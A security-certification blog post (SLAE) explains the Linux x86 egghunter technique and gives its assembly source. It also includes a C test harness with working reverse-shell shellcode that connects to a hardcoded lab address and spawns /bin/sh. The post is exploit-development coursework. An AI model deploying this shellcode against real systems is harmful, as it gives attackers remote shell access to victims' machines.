May 27, 2019

SLAE – Assignment #3 – Egghunter

1. Introduction

Egghunter is a known technique that is used when we are limited in space. The original idea was introduced by skape in his paper - http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf. Also Corelan has a good full write up about egg hunting under Windows platform. Updated version was released recently in his blog about Windows 10 - https://www.corelan.be/index.php/2019/04/23/windows-10-egghunter/

The idea is that we have our payload with egg somewhere in the memory and egghunter will scan memory and after reaching our egg will jump there.

2. Egghunter implementation

Based on my experience with OSCE as egghunting was one of the most important topics I found out that there are 2 possible issues:

1. Wrong jump if egghunter will detect his own egg.
2. Attempt to access unmapped memory which will lead to program termination (SIGSEGV).

Solution:

1. We prepend our shellcode with double tag.
2. From skape paper we can use access or sigaction system calls.

I will use access system call. This call will return EFAULT when access unmapped memory instead of termination. Egghunter algorithm:

1. we push address to validate
2. if EFAULT we increment until we reach valid address
3. After we reach valid address space, we iterate through it searching for double tag.
4. If succeeded, we jump to shellcode after tag.
5. If not we go to next page.

I found a system call using: 

cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep access
#define __NR_access 33

3. Egghunter code

global _start

section .text

_start:
       xor ebx, ebx
       xor ecx, ecx

next_page:
        or bx, 0xfff ;page alignment

hunt:
        inc ebx          ;next address
        lea edx, [ebx+0x04]  ;compare values in [ebx] and [ebx+4]
        xor eax, eax
        mov al, 0x21     ;syscall for access
        int 0x80

        cmp al, 0xf2   ;check return value for EFAULT
        je next_page   ;if yes, go to next page
mov edi, ebx   ;if not, ebx in edi for scasd

mov eax, 0x64697361 ;tag = disa
        scasd           ;check eax==[edi] then increment edi
        jnz hunt        ;continue search
        scasd           ;check for second tag
        jnz hunt
        jmp edi         ;jump to second stage shellcode

Then usual operations: extract shellcode and put in C file. I decided to use reverse shell payload for a test:

#include<stdio.h>
#include<string.h>
#define PORT "\x0a\x30"
#define ADDRESS "\xc0\xa8\x0d\xf3"
#define TAG "DISA"

char egghunter[] = "\x31\xdb\x31\xc9\x66\x81\xcb\xff\x0f\x43\x8d\x53\x04\x31\xc0\xb0\x21\xcd\x80\x3c\xf2\x74\xed\x89\xdf\xb8"
TAG
"\xaf\x75\xe8\xaf\x75\xe5\xff\xe7";

char shell[] = TAG TAG
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe"
"\xc3\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x52\x68"ADDRESS"\x66"
"\x68"PORT"\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x89\xf3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80"
"\xb0\x3f\x41\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x89\xd1\xb0\x0b\xcd\x80";
 
main()
{
 
        printf("Shellcode Length:  %d\n", strlen(egghunter));
void (*fp) (void);
fp = (void *)egghunter;
fp();
}

Proof picture: 

4. Disclaimer

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-764

All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam

No comments:

Post a Comment